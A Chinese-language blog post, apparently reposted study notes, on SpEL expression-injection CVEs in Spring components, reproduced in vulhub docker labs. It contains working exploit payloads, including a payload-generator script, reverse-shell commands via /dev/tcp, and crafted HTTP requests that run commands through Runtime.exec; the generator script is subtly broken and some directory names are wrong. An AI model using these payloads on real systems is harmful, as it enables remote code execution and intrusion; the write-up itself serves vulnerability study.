Spring框架漏洞学习
自从算法和操作系统考试以来对Java的学习就摆的很严重了可以说,今天就从Spring的框架漏洞来学习一下Java吧…
又是一篇转载文,主要就是跟着Spring框架漏洞总结的思路把漏洞跟一遍,至于复现的细节原文挺详细的可以参考原文
下面这几个CVE都是很久以前的了,而且都是与SPEL表达式有关.
SPEL表达式
2009年9月Spring 3.0 RC1发布后,Spring就引入了SpEL (Spring Expression Language)。类比Struts2框架,会发现绝大部分的安全漏洞都和OGNL脱不了干系。
SpEL是什么
SpEL(Spring Expression Language)是基于spring的一个表达式语言,类似于struts的OGNL,能够在运行时动态执行一些运算甚至一些指令,类似于Java的反射功能。就使用方法上来看,一共分为三类,分别是直接在注解中使用,在XML文件中使用和直接在代码块中使用。
SpEL原理如下∶
- 表达式:可以认为就是传入的字符串内容
- 解析器︰将字符串解析为表达式内容
- 上下文:表达式对象执行的环境
- 根对象和活动上下文对象∶根对象是默认的活动上下文对象,活动上下文对象表示了当前表达式操作的对象
Spring Security OAuth2 远程命令执行(CVE-2016-4977)
Spring Security OAuth2是为Spring框架提供安全认证支持的一个模块。Spring Security OAuth2处理认证请求的时候如果使用了whitelabel views,response_type参数值会被当做Spring SpEL来执行,攻击者可以在被授权的情况下
通过构造response_type值也就是通过构造恶意SpEL表达式可以触发远程代码执行漏洞。故是在需要知道账号密码的前提下才可以利用该漏洞。
影响版本
代码语言:javascript复制2.0.0-2.0.9
1.0.0-1.0.5
漏洞复现
下载vulhub
之后进入vulhub/spring/CVE-2016-4977
建立docker
cd vulhub/spring/CVE-2016-4977
docker-compose up -d
docker ps
测试URL:
代码语言:javascript复制/oauth/authorize?response_type=${2*2}&client_id=acme&scope=openid&redirect_uri=http://test
poc.py
代码语言:javascript复制message = input('Enter message to encode:')
poc = '${T(java.lang.Runtime).getRuntime().exec(T(java.lang.Character).toString(%s)' % ord(message[0])
for ch in message[1:]:
poc = '.concat(T(java.lang.Character).toString(%s))' % ord(ch)
poc = ')}'
print(poc)
输入命令后得到payload,需要注意这里的命令要先进行base64编码,然后得到poc,将poc加入到${poc}
即可
漏洞成因
在这个验证框架中,如果参数是一个错误信息,那么就会通过定义的Whitelabel处理方法,将错误信息交给通过oauthError.getSummary()获得的errorSummary,然后errorSummary被装入model中,再用SpelView进行渲染。在SpelView中会获取{}中的值作为表达式,再用parser.parseExpression来执行,此外还会递归这个表达式,不断取它里面的{xxx}继续作为表达式执行SPEL表达式
(java反弹shell都需要先编码,不然不会成功,原因貌似是runtime不支持管道符,重定向,空格,管道符都有可能造成错误
修补方案
原本是取${xxx}
里面的xxx内容执行,变成了取random{xxx}
的xxx,虽然这个random虽然是随机字符串但是它的长度固定为6个字符所以还是存在被爆破的可能性的
Spring Web Flow框架远程代码执行(CVE-2017-4971)
Spring WebFlow 是一个适用于开发基于流程的应用程序的框架(如购物逻辑),可以将流程的定义和实现流程行为的类和视图分离开来。在其 2.4.x 版本中,如果我们控制了数据绑定时的field,将导致一个SpEL表达式注入漏洞,最终造成任意命令执行。
影响版本
代码语言:javascript复制2.4.0 - 2.4.4
利用条件
- 在 webflow 配置文件中 view-state 节点中指定了 model 属性,并且没有指定绑定的参数,即 view-state 中没有配置 binder 节点(配置了moudle但未配置binder)
- 而且 MvcViewFactoryCreator 类中 useSpringBeanBinding 默认值(false)未修改
漏洞复现
下载vulhub
之后进入vulhub/spring/CVE-2016-4977
建立docker
cd vulhub/spring/CVE-2017-4971
docker-compose up -d
docker ps
POC:
代码语言:javascript复制测试URL:
/hotel/booking?execution=e1s2
payload(POST):
在原数据基础上加上一下数据:
&_(new java.lang.ProcessBuilder("bash","-c","bash -i >& /dev/tcp/host/port 0>&1")).start()=vulhub
&_T(java.lang.Runtime).getRuntime().exec("bash -i >& /dev/tcp/host/port 0>&1")
我们构造的恶意参数名称必须以_开头,具体原因看 addDefaultMappings 函数中的 fieldMarkerPrefix 变量。
Spring Data Rest远程命令执行命令(CVE-2017-8046)
Spring-data-rest服务器在处理局部更新资源的PATCH请求时,攻击者可以构造恶意的PATCH请求并发送给spring-date-rest服务器,通过构造好的JSON数据来执行任意Java代码。
影响版本
代码语言:javascript复制Spring Data REST versions < 2.5.12, 2.6.7, 3.0 RC3
Spring Boot version < 2.0.0M4
Spring Data release trains < Kay-RC3
漏洞复现
下载vulhub
之后进入vulhub/spring/CVE-2016-4977
建立docker
cd vulhub/spring/CVE-2017-8046
docker-compose up -d
docker ps
POC:
代码语言:javascript复制while 1:
payload=",".join(map(str, (map(ord,input("输入命令#"))))) #获得执行命令的每个字符的十进制编码
print(payload)
将该编码写入poc,放入请求包,注意json格式的poc上面留一个空行,Content-Type: 为application/json-patch json
代码语言:javascript复制PATCH /customers/1 HTTP/1.1
Host: localhost:8080
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/json-patch json
Content-Length: {len}
[
{ "op": "replace",
"path": "T(java.lang.Runtime).getRuntime().exec(new java.lang.String(new byte[]{从上面获得的十进制payload}))/lastname",
"value": "vulhub"
}
]
漏洞分析
https://blog.spoock.com/2018/05/22/cve-2017-8046/
Spring Messaging远程命令执行突破(CVE-2018-1270)
spring messaging为spring框架提供消息支持,其上层协议是STOMP,底层通信基于SockJS,STOMP消息代理在处理客户端消息时存在SpEL表达式注入漏洞,在spring messaging中,其允许客户端订阅消息,并使用selector过滤消息。selector用SpEL表达式编写,并使用StandardEvaluationContext解析,造成命令执行漏洞。
影响版本
代码语言:javascript复制Spring Framework 5.0 - 5.0.5
Spring Framework 4.3 - 4.3.15
已不支持的旧版本仍然受影响
漏洞分析
https://paper.seebug.org/562/
Spring Data Commons远程命令执行漏洞(CVE-2018-1273)
Spring Data是一个用于简化数据库访问,并支持云服务的开源框架,Spring Data Commons是Spring Data下所有子项目共享的基础框架。Spring Data Commons 在2.0.5及以前版本中,存在一处SpEL表达式注入漏洞,攻击者可以注入恶意SpEL表达式以执行任意命令。
影响版本
代码语言:javascript复制Spring Data Commons 1.13 – 1.13.10 (Ingalls SR10)
Spring Data REST 2.6 – 2.6.10(Ingalls SR10)
Spring Data Commons 2.0 – 2.0.5 (Kay SR5)
Spring Data REST 3.0 – 3.0.5(Kay SR5)
官方已经不支持的旧版本
漏洞复现
代码语言:javascript复制cd vulhub/spring/CVE-2018-1273
docker-compose up -d
docker ps
POC:
代码语言:javascript复制POST /users?page=&size=5 HTTP/1.1
Host: 192.168.173.144:8080
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0
Accept: text/html,application/xhtml xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 120
Origin: http://192.168.173.144:8080
Connection: close
Referer: http://192.168.173.144:8080/users
Cookie: JSESSIONID=F773DEBD35D866E11D6753373652513C
Upgrade-Insecure-Requests: 1
username[#this.getClass().forName("java.lang.Runtime").getRuntime().exec("touch /tmp/zcc")]=&password=&repeatedPassword=